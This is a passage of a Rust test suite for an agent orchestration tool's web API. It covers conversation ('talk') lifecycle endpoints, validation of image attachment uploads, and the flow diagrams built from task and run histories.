13974 "clear must not rewrite a closed talk"
13975 );
13976 }
13977
13978 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13981
13982 #[tokio::test]
13983 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13984 let tmp = TempDir::new().expect("tempdir");
13985 let repo = tmp.path().join("repo");
13986 std::fs::create_dir_all(&repo).expect("repo dir");
13987 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13988 let f = Fixture::with_repo(repo).await;
13989 let id_a = f.post("/api/talks", None).await.json()["id"]
13990 .as_str()
13991 .unwrap()
13992 .to_owned();
13993 let id_b = f.post("/api/talks", None).await.json()["id"]
13994 .as_str()
13995 .unwrap()
13996 .to_owned();
13997
13998 let a = f
13999 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14000 .await;
14001 assert_eq!(a.status, 202, "{}", a.body);
14002 assert_eq!(a.json()["thinking"], true);
14003 let b = f
14004 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14005 .await;
14006 assert_eq!(b.status, 202, "{}", b.body);
14007 assert_eq!(b.json()["thinking"], true);
14008
14009 let listed = f.get("/api/talks").await.json();
14010 for id in [&id_a, &id_b] {
14011 let view = listed
14012 .as_array()
14013 .unwrap()
14014 .iter()
14015 .find(|talk| talk["id"] == *id)
14016 .unwrap();
14017 assert_eq!(view["thinking"], true, "{listed}");
14018 }
14019 let repeated = f
14020 .post(
14021 &format!("/api/talks/{id_a}/say"),
14022 Some(r#"{"text":"again"}"#),
14023 )
14024 .await;
14025 assert_eq!(repeated.status, 202, "{}", repeated.body);
14026 assert_eq!(repeated.json()["pending"], "again");
14027 }
14028
14029 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14032
14033 #[tokio::test]
14034 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14035 let f = Fixture::start().await;
14036 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14037
14038 let res = f
14039 .post_bytes(
14040 &format!("/api/talks/{id}/attachments"),
14041 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14042 PNG_BYTES,
14043 )
14044 .await;
14045 assert_eq!(res.status, 201, "{}", res.body);
14046 let body = res.json();
14047 assert_eq!(body["name"], "shot.png");
14048 assert_eq!(body["mime"], "image/png");
14049 assert_eq!(body["bytes"], PNG_BYTES.len());
14050 let att_id = body["id"].as_str().expect("id").to_owned();
14051 assert_eq!(
14052 att_id.len(),
14053 32,
14054 "the id must never be a client-suppliable path: {att_id}"
14055 );
14056
14057 let got = f
14058 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14059 .await;
14060 assert_eq!(got.status, 200, "{}", got.body);
14061 assert_eq!(got.header("content-type"), Some("image/png"));
14062 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14063 assert_eq!(got.bytes, PNG_BYTES);
14064 }
14065
14066 #[tokio::test]
14067 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14068 let f = Fixture::start().await;
14069 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14070
14071 let svg = f
14074 .post_bytes(
14075 &format!("/api/talks/{id}/attachments"),
14076 &[("Content-Type", "image/svg+xml")],
14077 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14078 )
14079 .await;
14080 assert!(
14081 (400..500).contains(&svg.status),
14082 "svg must be refused: {} {}",
14083 svg.status,
14084 svg.body
14085 );
14086 assert!(svg.body.contains("SVG"), "{}", svg.body);
14087
14088 let text = f
14089 .post_bytes(
14090 &format!("/api/talks/{id}/attachments"),
14091 &[("Content-Type", "text/plain")],
14092 b"just some text",
14093 )
14094 .await;
14095 assert!(
14096 (400..500).contains(&text.status),
14097 "an unlisted type must be refused: {} {}",
14098 text.status,
14099 text.body
14100 );
14101
14102 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14105 let big = f
14106 .post_bytes(
14107 &format!("/api/talks/{id}/attachments"),
14108 &[("Content-Type", "image/png")],
14109 &oversized,
14110 )
14111 .await;
14112 assert_eq!(
14113 big.status,
14114 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14115 "{}",
14116 big.body
14117 );
14118 }
14119
14120 #[tokio::test]
14121 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14122 let f = Fixture::start().await;
14123 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
14124
14125 let res = f
14128 .post_bytes(
14129 &format!("/api/talks/{id}/attachments"),
14130 &[("Content-Type", "image/png")],
14131 b"<html>not a picture</html>",
14132 )
14133 .await;
14134 assert!((400..500).contains(&res.status), "{}", res.body);
14135 }
14136
14137 #[tokio::test]
14138 async fn an_unknown_attachment_id_is_a_404() {
14139 let f = Fixture::start().await;
14140 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
14141
14142 let res = f
14143 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
14144 .await;
14145 assert_eq!(res.status, 404, "{}", res.body);
14146 }
14147
14148 #[tokio::test]
14149 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
14150 let f = Fixture::start().await;
14151 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
14152
14153 let uploaded = f
14154 .post_bytes(
14155 &format!("/api/talks/{id}/attachments"),
14156 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14157 PNG_BYTES,
14158 )
14159 .await;
14160 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14161 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
14162
14163 let res = f
14164 .post(
14165 &format!("/api/talks/{id}/say"),
14166 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
14167 )
14168 .await;
14169 assert_eq!(res.status, 202, "{}", res.body);
14170 let queued = res.json();
14171 let turns = queued["turns"].as_array().expect("turns array");
14172 assert_eq!(
14173 turns.len(),
14174 1,
14175 "an empty body with an attachment is still a turn: {queued}"
14176 );
14177 assert_eq!(turns[0]["who"], "operator");
14178 assert_eq!(turns[0]["body"], "");
14179 let atts = turns[0]["attachments"]
14180 .as_array()
14181 .expect("attachments array");
14182 assert_eq!(atts.len(), 1);
14183 assert_eq!(atts[0]["id"], att_id);
14184 assert_eq!(atts[0]["mime"], "image/png");
14185
14186 let on_disk = f.talks().get(&id).expect("get");
14189 assert_eq!(on_disk.turns[0].attachments.len(), 1);
14190 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
14191 }
14192
14193 #[tokio::test]
14194 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
14195 let f = Fixture::start().await;
14196 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
14197
14198 let res = f
14199 .post(
14200 &format!("/api/talks/{id}/say"),
14201 Some(&format!(
14202 r#"{{"text":"hi","attachments":["{}"]}}"#,
14203 "a".repeat(32)
14204 )),
14205 )
14206 .await;
14207 assert!((400..500).contains(&res.status), "{}", res.body);
14208 assert!(res.body.contains("unknown attachment"), "{}", res.body);
14209
14210 let on_disk = f.talks().get(&id).expect("get");
14211 assert!(
14212 on_disk.turns.is_empty(),
14213 "a rejected attachment id must not partially record the turn: {:?}",
14214 on_disk.turns
14215 );
14216 }
14217
14218 #[tokio::test]
14219 async fn talk_close_makes_the_talk_refuse_further_turns() {
14220 let f = Fixture::start().await;
14221 let id = seed_talk(&f, "20260904-014455-cd34", "open");
14222
14223 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14224 assert_eq!(closed.status, 200, "{}", closed.body);
14225 assert_eq!(closed.json()["status"], "closed");
14226
14227 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
14229 assert_eq!(closed_again.status, 200);
14230 assert_eq!(closed_again.json()["status"], "closed");
14231
14232 let said = f
14233 .post(
14234 &format!("/api/talks/{id}/say"),
14235 Some(r#"{"text":"too late"}"#),
14236 )
14237 .await;
14238 assert_eq!(said.status, 409, "{}", said.body);
14239 }
14240
14241 #[tokio::test]
14242 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
14243 let (_tmp, _repo, f) = talk_fixture().await;
14244 let id = f.post("/api/talks", None).await.json()["id"]
14245 .as_str()
14246 .expect("id")
14247 .to_owned();
14248 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14249 assert_eq!(closed.status, 200, "{}", closed.body);
14250
14251 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14252 assert_eq!(reopened.status, 200, "{}", reopened.body);
14253 assert_eq!(reopened.json()["status"], "open");
14254
14255 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14257 assert_eq!(reopened_again.status, 200);
14258 assert_eq!(reopened_again.json()["status"], "open");
14259
14260 let said = f
14261 .post(
14262 &format!("/api/talks/{id}/say"),
14263 Some(r#"{"text":"still there?"}"#),
14264 )
14265 .await;
14266 assert_eq!(
14267 said.status, 202,
14268 "a reopened talk accepts turns again: {}",
14269 said.body
14270 );
14271 }
14272
14273 #[tokio::test]
14274 async fn talk_reopen_on_an_unknown_id_is_404() {
14275 let f = Fixture::start().await;
14276 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
14277 assert_eq!(res.status, 404, "{}", res.body);
14278 }
14279
14280 #[tokio::test]
14281 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
14282 let f = Fixture::start().await;
14283 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
14284
14285 let deleted = f.delete(&format!("/api/talks/{id}")).await;
14286 assert_eq!(deleted.status, 204, "{}", deleted.body);
14287
14288 let after = f.get(&format!("/api/talks/{id}")).await;
14289 assert_eq!(after.status, 404, "{}", after.body);
14290
14291 let listed = f.get("/api/talks").await.json();
14292 assert!(
14293 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
14294 "a deleted talk must not linger in the list: {listed}"
14295 );
14296 }
14297
14298 #[tokio::test]
14299 async fn talk_delete_on_an_unknown_id_is_404() {
14300 let f = Fixture::start().await;
14301 let res = f.delete("/api/talks/nonexistent-id").await;
14302 assert_eq!(res.status, 404, "{}", res.body);
14303 }
14304
14305 #[tokio::test]
14309 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
14310 let f = Fixture::start().await;
14311 let (a, b, gone) = (
14312 "20260902-140501-aaaa",
14313 "20260902-140502-bbbb",
14314 "20260902-140503-cccc",
14315 );
14316 write_run(&f.runs(), a, RunStatus::Stalled);
14317 let mut review = RunState::new(
14318 PathBuf::from("/repo/magi"),
14319 "main".to_owned(),
14320 "0123456789abcdef".to_owned(),
14321 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
14322 .to_owned(),
14323 Config::default(),
14324 );
14325 review.id = b.to_owned();
14326 review.status = RunStatus::Merged;
14327 write_state(&f.runs(), &review);
14328
14329 let mut task = Task::new(
14330 "retry".to_owned(),
14331 "Do the thing".to_owned(),
14332 PathBuf::from("/repo/magi"),
14333 Source::Human,
14334 );
14335 task.start(a.to_owned());
14336 task.stall("quota");
14337 task.start(a.to_owned());
14338 task.start(b.to_owned());
14339 task.start(gone.to_owned());
14340 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
14342 f.queue().put(&mut task).expect("file the task");
14343
14344 let res = f.get(&format!("/api/queue/{}", task.id)).await;
14345 assert_eq!(res.status, 200, "{}", res.body);
14346 let v = res.json();
14347 let h = v["history"].as_array().expect("history");
14348 assert_eq!(h.len(), 4, "{v}");
14349 assert_eq!(h[0]["kind"], "competition");
14350 assert_eq!(h[0]["status"], "stalled");
14351 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
14352 assert_eq!(h[1]["kind"], "resume", "{v}");
14353 assert!(
14354 h[0]["outcome"]
14355 .as_str()
14356 .unwrap()
14357 .contains("unknown. Pass #2"),
14358 "an earlier pass of a resumed run must not claim the final outcome: {v}"
14359 );
14360 assert!(
14361 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
14362 "{v}"
14363 );
14364 assert!(
14365 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
14366 "an unrecorded cause must not be narrated as an operator park: {v}"
14367 );
14368 assert_eq!(h[2]["kind"], "review");
14369 assert!(
14370 h[2]["description"]
14371 .as_str()
14372 .unwrap()
14373 .contains("magi/aaaa/A")
14374 );
14375 assert_eq!(h[2]["status"], "merged");
14376 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
14377 assert_eq!(v["runs_unreadable"], 1);
14378 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
14379 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
14380 assert_eq!(nodes[4]["note"], "unreadable");
14381 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
14382 assert_eq!(v["instruction"], "Do the thing");
14383 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
14384
14385 let run = f.get(&format!("/api/runs/{a}")).await.json();
14387 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
14388
14389 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
14390 }
14391
14392 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
14393 let mut s = RunState::new(
14394 PathBuf::from("/repo/magi"),
14395 "main".to_owned(),
14396 "0123456789abcdef".to_owned(),
14397 "Do it".to_owned(),
14398 Config::default(),
14399 );
14400 s.status = status;
14401 edit(&mut s);
14402 s
14403 }
14404
14405 fn flow_task(runs: &[&str]) -> Task {
14406 let mut t = Task::new(
14407 "t".to_owned(),
14408 "Do it".to_owned(),
14409 PathBuf::from("/repo/magi"),
14410 Source::Human,
14411 );
14412 for r in runs {
14413 t.start((*r).to_owned());
14414 }
14415 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14417 t
14418 }
14419
14420 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
14421 let h = task_history(task, |id| {
14422 states
14423 .iter()
14424 .find(|(i, _)| *i == id)
14425 .and_then(|(_, s)| s.clone())
14426 });
14427 task_flow(task, &h, 5, None)
14428 }
14429
14430 #[test]
14431 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
14432 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
14433 let created = "2026-10-10T01:00:00Z".parse().unwrap();
14434 let first = "2026-10-10T02:00:00Z".parse().unwrap();
14435 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
14436 let held = "2026-10-10T04:00:00Z".parse().unwrap();
14437 let run = flow_run(RunStatus::Implementing, |s| {
14438 s.created_at = created;
14439 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
14440 s.passes[0].started_at = first;
14441 s.passes[1].started_at = resumed;
14442 });
14443 let mut task = flow_task(&[RUN_X, RUN_X]);
14444 task.created_at = queued;
14445 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
14446 task.status = TaskStatus::Held;
14447 task.held_at = Some(held);
14448 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
14449 assert_eq!(
14450 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
14451 vec![Some(queued), Some(first), Some(resumed), Some(held)]
14452 );
14453 assert!(flow.nodes.iter().all(|n| n.time_expected));
14454 let json = serde_json::to_value(&flow).unwrap();
14455 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
14456 assert_eq!(json["nodes"][2]["time_expected"], true);
14457 }
14458
14459 #[test]
14460 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
14461 let created = "2026-10-10T01:00:00Z".parse().unwrap();
14462 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
14463 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
14464 task.held_at = Some(created);
14466 task.blocked_at = Some(created);
14467 for status in [
14468 TaskStatus::Queued,
14469 TaskStatus::Running,
14470 TaskStatus::Blocked,
14471 TaskStatus::Done,
14472 TaskStatus::Failed,
14473 TaskStatus::Parked,
14474 TaskStatus::Held,
14475 ] {
14476 task.status = status;
14477 if status == TaskStatus::Held {
14478 task.held_at = None;
14479 }
14480 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
14481 assert_eq!(flow.nodes[1].started_at, Some(created));
14482 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
14483 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
14484 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
14485 let json = serde_json::to_value(&flow).unwrap();
14486 assert!(json["nodes"][3]["started_at"].is_null());
14487 assert_eq!(json["nodes"][3]["time_expected"], true);
14488 }
14489 }
14490
14491 #[test]
14492 fn flow_context_links_do_not_expect_start_times() {
14493 let mut task = flow_task(&[]);
14494 task.source = Source::Agent {
14495 run: "chat-id".to_owned(),
14496 node: "chat".to_owned(),
14497 };
14498 let origin = followup_origin(&fu(None), |_| None, |_| None);
14499 let flow = task_flow(&task, &[], 5, Some(&origin));
14500 for node in &flow.nodes[..2] {
14501 assert!(!node.time_expected);
14502 assert_eq!(node.started_at, None);
14503 }
14504 assert!(flow.nodes[2].time_expected);
14505 }
14506
14507 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
14508 crate::queue::FollowUp {
14509 run: "20260901-000000-aaaa".to_owned(),
14510 origin_task: origin_task.map(str::to_owned),
14511 pr: "https://example.com/o/r/pull/1".to_owned(),
14512 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
14513 .map(str::to_owned)
14514 .to_vec(),
14515 generation: 1,
14516 }
14517 }
14518
14519 fn parent_task() -> Task {
14520 let mut p = flow_task(&[]);
14521 p.title = "Parent title".to_owned();
14522 p.status = TaskStatus::Done;
14523 p
14524 }
14525
14526 #[test]
14527 fn flow_opens_with_the_parent_task_of_a_followup() {
14528 let p = parent_task();
14529 let pid = p.id.clone();
14530 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
14531 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14532 let n = &f.nodes[0];
14533 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
14534 assert_eq!(
14535 n.label,
14536 format!("Follow-up of {}", crate::queue::short(&pid))
14537 );
14538 assert_eq!(n.detail.as_deref(), Some("Parent title"));
14539 assert_eq!(n.status, Some("done"));
14540 assert_eq!(n.status_of, "task");
14541 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
14542 assert_eq!(f.nodes[1].key, "start");
14543 assert_eq!(f.edges[0].from, "origin");
14544 assert_eq!(
14545 f.edges[0].label,
14546 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
14547 );
14548 }
14549
14550 #[test]
14551 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
14552 let o = followup_origin(
14553 &fu(Some("gone")),
14554 |_| None,
14555 |_| {
14556 Some(RunState::new(
14557 std::path::PathBuf::from("."),
14558 "main".to_owned(),
14559 "0".to_owned(),
14560 "t".to_owned(),
14561 crate::config::Config::default(),
14562 ))
14563 },
14564 );
14565 assert!(o.parent.is_none());
14566 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14567 let n = &f.nodes[0];
14568 assert_eq!(n.status_of, "run");
14569 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
14570 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
14571 }
14572
14573 #[test]
14574 fn flow_followup_with_nothing_readable_has_no_link() {
14575 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
14576 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14577 let n = &f.nodes[0];
14578 assert_eq!(n.href, None);
14579 assert_eq!(n.note, Some("unreadable"));
14580 assert!(!n.readable);
14581 }
14582
14583 #[test]
14584 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
14585 let o = followup_origin(&fu(None), |_| None, |_| None);
14586 let mut t = flow_task(&[]);
14587 t.origin_chat = Some("c1".to_owned());
14588 let f = task_flow(&t, &[], 5, Some(&o));
14589 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
14590 t.source = Source::Agent {
14591 run: "c1".to_owned(),
14592 node: crate::queue::CHAT_NODE.to_owned(),
14593 };
14594 let f = task_flow(&t, &[], 5, Some(&o));
14595 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
14596 assert_eq!(
14597 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
14598 ("chat", "origin")
14599 );
14600 }
14601
14602 #[test]
14603 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
14604 let mut p = parent_task();
14605 p.id = "a b/c".to_owned();
14606 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
14607 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
14608 }
14609
14610 #[test]
14611 fn flow_opens_with_the_chat_that_queued_the_task() {
14612 let mut t = flow_task(&[]);
14613 t.source = Source::Agent {
14614 run: "a b/c".to_owned(),
14615 node: crate::queue::CHAT_NODE.to_owned(),
14616 };
14617 let f = flow_for(&t, &[]);
14618 assert_eq!(f.nodes[0].key, "chat");
14619 assert_eq!(f.nodes[0].kind, "chat");
14620 assert_eq!(
14621 f.nodes[0].label,
14622 format!("Chat {}", crate::queue::short("a b/c"))
14623 );
14624 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
14625 assert_eq!(f.nodes[1].key, "start");
14626 assert_eq!(
14627 f.edges[0],
14628 FlowEdge {
14629 from: "chat".to_owned(),
14630 to: "start".to_owned(),
14631 label: "queued from chat".to_owned(),
14632 attempt: AttemptCost::None,
14633 }
14634 );
14635 }
14636
14637 #[test]
14638 fn flow_has_no_chat_box_for_other_sources() {
14639 for source in [
14640 Source::Human,
14641 Source::Issue {
14642 number: 3,
14643 repo: "o/r".to_owned(),
14644 },
14645 Source::Agent {
14646 run: "20260904-014455-ab12".to_owned(),
14647 node: "implement".to_owned(),
14648 },
14649 ] {
14650 let mut t = flow_task(&[]);
14651 t.source = source;
14652 let f = flow_for(&t, &[]);
14653 assert_eq!(f.nodes[0].key, "start");
14654 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14655 assert!(f.edges.iter().all(|e| e.from != "chat"));
14656 }
14657 }
14658
14659 const FA: &str = "20260902-140501-aaaa";
14660 const FB: &str = "20260902-140502-bbbb";
14661
14662 #[test]
14663 fn flow_follows_blocked_retry_merged_to_done() {
14664 let mut t = flow_task(&[FA, FB]);
14665 t.status = TaskStatus::Done;
14666 let f = flow_for(
14667 &t,
14668 &[
14669 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14670 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14671 ],
14672 );
14673 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14674 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14675 assert_eq!(f.edges.len(), 3);
14676 assert_eq!(f.edges[0].label, "claimed");
14677 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14678 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14679 assert_eq!(f.edges[2].label, "merged \u{2192} done");
14680 assert_eq!(
14681 f.nodes[2].href.as_deref(),
14682 Some("#/runs/20260902-140502-bbbb")
14683 );
14684 assert!(f.nodes[2].decided);
14685 }
14686
14687 #[test]
14688 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14689 let quota = || {
14690 flow_run(RunStatus::Stalled, |s| {
14691 s.quota.push(crate::run::QuotaLoss {
14692 seat: "judge-1".to_owned(),
14693 node: "judge".to_owned(),
14694 at: Timestamp::now(),
14695 reset: None,
14696 })
14697 })
14698 };
14699 let mut t = flow_task(&[FA, FA]);
14700 t.status = TaskStatus::Queued;
14701 let f = flow_for(&t, &[(FA, Some(quota()))]);
14702 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14703 assert_eq!(f.nodes[1].note, Some("interrupted"));
14704 assert_eq!(
14705 f.nodes[1].status, None,
14706 "no outcome copied onto an earlier pass"
14707 );
14708 assert_eq!(
14709 f.edges[1].attempt,
14710 AttemptCost::Unknown,
14711 "a resume does not prove the earlier pass was refunded"
14712 );
14713 assert!(f.edges[1].label.contains("resume the same run"));
14714 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14715 assert_eq!(
14716 f.edges[2].label,
14717 "stalled after a resume, refund unknown \u{2192} queued"
14718 );
14719 assert!(!f.nodes[2].decided, "a stall is not a decision");
14720 assert_eq!(f.nodes[2].note, Some("no verdict"));
14721 }
14722
14723 #[test]
14724 fn flow_single_pass_quota_stall_is_refunded() {
14725 let t = flow_task(&[FA]);
14726 let f = flow_for(
14727 &t,
14728 &[(
14729 FA,
14730 Some(flow_run(RunStatus::Stalled, |s| {
14731 s.quota.push(crate::run::QuotaLoss {
14732 seat: "judge-1".to_owned(),
14733 node: "judge".to_owned(),
14734 at: Timestamp::now(),
14735 reset: None,
14736 })
14737 })),
14738 )],
14739 );
14740 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14741 }
14742
14743 #[test]
14744 fn flow_parked_refunds_and_stall_without_quota_spends() {
14745 let mut t = flow_task(&[FA]);
14746 t.status = TaskStatus::Queued;
14747 let f = flow_for(
14748 &t,
14749 &[(
14750 FA,
14751 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14752 )],
14753 );
14754 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14755 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14756 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14757 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14758 assert!(!f.nodes[1].decided);
14759 }
14760
14761 #[test]
14762 fn flow_keeps_an_unreadable_run_as_its_own_node() {
14763 let t = flow_task(&[FA, FB]);
14764 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14765 assert_eq!(f.nodes[1].note, Some("unreadable"));
14766 assert!(!f.nodes[1].readable);
14767 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14768 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14769 }
14770
14771 #[test]
14772 fn flow_names_the_branch_of_a_review_only_run() {
14773 let t = flow_task(&[FA]);
14774 let f = flow_for(
14775 &t,
14776 &[(
14777 FA,
14778 Some(flow_run(RunStatus::Merged, |s| {
14779 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14780 })),
14781 )],
14782 );
14783 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14784 assert_eq!(
14785 f.nodes[1].detail.as_deref(),
14786 Some("review-only run of branch magi/x/A")
14787 );
14788 }
14789
14790 #[test]
14791 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14792 let mut t = flow_task(&[FA]);
14793 t.status = TaskStatus::Held;
14794 let pr = crate::run::PrRecord {
14795 url: "https://example.test/pr/1".to_owned(),
14796 number: 1,
14797 state: "open".to_owned(),
14798 checks: "green".to_owned(),
14799 round: 0,
14800 rounds: 3,
14801 red_at_merge: Vec::new(),
14802 };
14803 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14804 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14805 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14806 t.status = TaskStatus::Done;
14807 let f = flow_for(&t, &[(FA, Some(blocked))]);
14808 assert_eq!(f.edges[1].label, "closed by hand: task is done");
14809 }
14810
14811 #[test]
14812 fn flow_with_no_runs_goes_from_queued_to_queued() {
14813 let t = flow_task(&[]);
14814 let f = flow_for(&t, &[]);
14815 assert_eq!(f.nodes.len(), 2);
14816 assert_eq!(f.edges.len(), 1);
14817 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14818 assert_eq!(f.edges[0].attempt, AttemptCost::None);
14819 }
14820
14821 #[test]
14824 fn a_parked_non_terminal_run_is_explained_as_parked() {
14825 let mut s = RunState::new(
14826 PathBuf::from("/repo/magi"),
14827 "main".to_owned(),
14828 "0123456789abcdef".to_owned(),
14829 "Do it".to_owned(),
14830 Config::default(),
14831 );
14832 s.status = RunStatus::Implementing;
14833 s.parked = true;
14834 let task = Task::new(
14835 "t".to_owned(),
14836 "Do it".to_owned(),
14837 PathBuf::from("/repo/magi"),
14838 Source::Human,
14839 );
14840 let v = task_run_view(
14841 "20260902-140501-aaaa",
14842 Some(&s),
14843 RunSlot {
14844 n: 1,
14845 resumed: false,
14846 resumed_later: None,
14847 prior: None,
14848 last: true,
14849 ..RunSlot::default()
14850 },
14851 &task,
14852 );
14853 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14854 }
14855
14856 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14857 let mut s = flow_run(RunStatus::Implementing, edit);
14858 s.parked = false;
14859 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14860 task_run_view(
14861 "20260902-140501-aaaa",
14862 Some(&s),
14863 RunSlot {
14864 n: 1,
14865 resumed: false,
14866 resumed_later: Some(2),
14867 prior: None,
14868 last: false,
14869 ..RunSlot::default()
14870 },
14871 &task,
14872 )
14873 }
14874
14875 #[test]
14876 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14877 let v = earlier_pass_view(|_| {});
14878 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14879 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
